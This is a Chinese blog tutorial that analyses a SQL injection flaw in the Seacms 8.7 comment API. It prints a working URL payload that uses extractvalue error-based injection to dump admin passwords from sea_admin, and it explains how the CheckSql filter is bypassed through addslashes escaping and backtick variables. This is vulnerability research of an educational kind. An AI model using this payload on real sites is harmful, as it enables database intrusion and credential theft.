【實用技能】Seacms 8.7版本SQL注入分析

有些小夥伴剛剛接觸SQL編程,對SQL注入表示不太瞭解。其實在Web攻防中,SQL注入就是一個技能繁雜項,為了幫助大家能更好的理解和掌握,今天小編將要跟大家分享一下關於

Seacms 8.7版本SQL注入分析的內容,一定要認真學習哦。

【實用技能】Seacms 8.7版本SQL注入分析

0x01環境

Web:phpstudy and MAMP

System:Windows 7 X64 and MacOS
Browser:Firefox Quantum and Chrome
MySQL:5.5
php:5.4


0x02漏洞詳情

漏洞復現

payload:

<code>http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`/<code>
【實用技能】Seacms 8.7版本SQL注入分析

漏洞分析

之前在MySQL 5.6、5.7上面復現都不成功,因為這兩個版本用extractvalue( )、updatexml( )報錯注入不成功,後來換了系統Linux和Windows還有macOS來測試也是一樣,和PHP、Apache的版本沒有影響,還是MySQL的版本問題,所以大家測試的時候注意一下版本。

漏洞文件是在:comment/api/index.php

<code>session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//緩存第一頁的評論
if($page<2)
{
        if(file_exists($jsoncachefile))
        {
                $json=LoadFile($jsoncachefile);
                die($json);
        }
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
        createTextFile($h,$jsoncachefile);
}
die($h);        

function ReadData($id,$page){
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)

        {
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[1] = Readrlist($x,1,10000);
                }
        }        
        $readData = FormatJson($ret);
        return $readData;
}

function Readmlist($id,$page,$size){
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
        {
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs['dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                {
                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                        $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                }
        }
        $readmlist=join($ml,",");
        return $readmlist;
}

function Readrlist($ids,$page,$size){
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}/<code>

傳入$rlist的值為我們構造的SQL語句:

<code>@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`/<code>

通過ReadData函數,implode處理後傳入Readrlist函數。

可以看到執行的SQL語句是:

【實用技能】Seacms 8.7版本SQL注入分析

它在$dsql->Execute('commentrlist');這句的時候會有一個SQL的安全檢測。

文件在include/sql.class.php的CheckSql函數

<code>//完整的SQL檢查
        while (true)
        {
                $pos = strpos($db_string, '\\'', $pos + 1);

                if ($pos === false)
                {
                        break;
                }
                $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                while (true)
                {
                        $pos1 = strpos($db_string, '\\'', $pos + 1);
                        $pos2 = strpos($db_string, '\\\\', $pos + 1);
                        if ($pos1 === false)
                        {
                                break;
                        }
                        elseif ($pos2 == false || $pos2 > $pos1)
                        {
                                $pos = $pos1;
                                break;
                        }
                        $pos = $pos2 + 1;
                }
                $clean .= '$s$';
                $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\\s+~s' ), array(' '), $clean)));/<code>

可以看到這裡沒有把我們的報錯函數部分代入進去,如果代入進去檢測的話就會在這裡檢測到:

【實用技能】Seacms 8.7版本SQL注入分析

【實用技能】Seacms 8.7版本SQL注入分析

後面$clean就是要送去檢測的函數,通過一番處理後得到的值為:

【實用技能】Seacms 8.7版本SQL注入分析

後面返回來執行的SQL語句還是原樣沒動

【實用技能】Seacms 8.7版本SQL注入分析

以上基本分析就完成了。

最終執行的語句:

<code>SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\\'`) ORDER BY id DESC/<code>

還有一些問題就是構造語句的問題。

剛開始傳入的%27後面怎麼變成了轉義後的單引號?

require_once("../../include/common.php");就包含了這個文件,裡面有一個_RunMagicQuotes函數,如果PHP配置沒有開啟get_magic_quotes_gpc就會用到這個函數,這個函數是把值經過addslashes函數的處理。此函數的作用是為所有的 ' (單引號), \" (雙引號), \\ (反斜線) and 空字符和以會自動轉為含有反斜線的轉義字符。

所以後面的SQL語句就會加上轉義符號,然後經過CheckSql函數的時候就繞過了對報錯語句的檢測。

<code>function _RunMagicQuotes(&$svar){
        if(!get_magic_quotes_gpc())
        {
                if( is_array($svar) )
                {
                        foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                        $svar = addslashes($svar);
                }
        }
        return $svar;
}/<code>

為什麼要加上``兩個反引號和@?

因in在MySQL裡面用法是:

【實用技能】Seacms 8.7版本SQL注入分析

value1必須是一個值,整數型或者文本型都可以,如果用單引號的話就會變成三個轉義\\'\\'\\'

在MySQL上面是作為一個轉義符號來使用,一般為了不讓和系統的變量衝突所以使用,一般在數據庫名、表名、字段名使用,所以這裡用@來使這個成為一個變量類型。


後記

在6.53的版本中include/common.php中的44-47行接收到變量:

<code>foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}/<code>

但是在75行這裡又重新賦值了:

<code>require_once(sea_DATA."/config.cache.inc.php");/<code>
【實用技能】Seacms 8.7版本SQL注入分析

以上是今天的全部內容,大家學會了嗎?


分享到:


相關文章: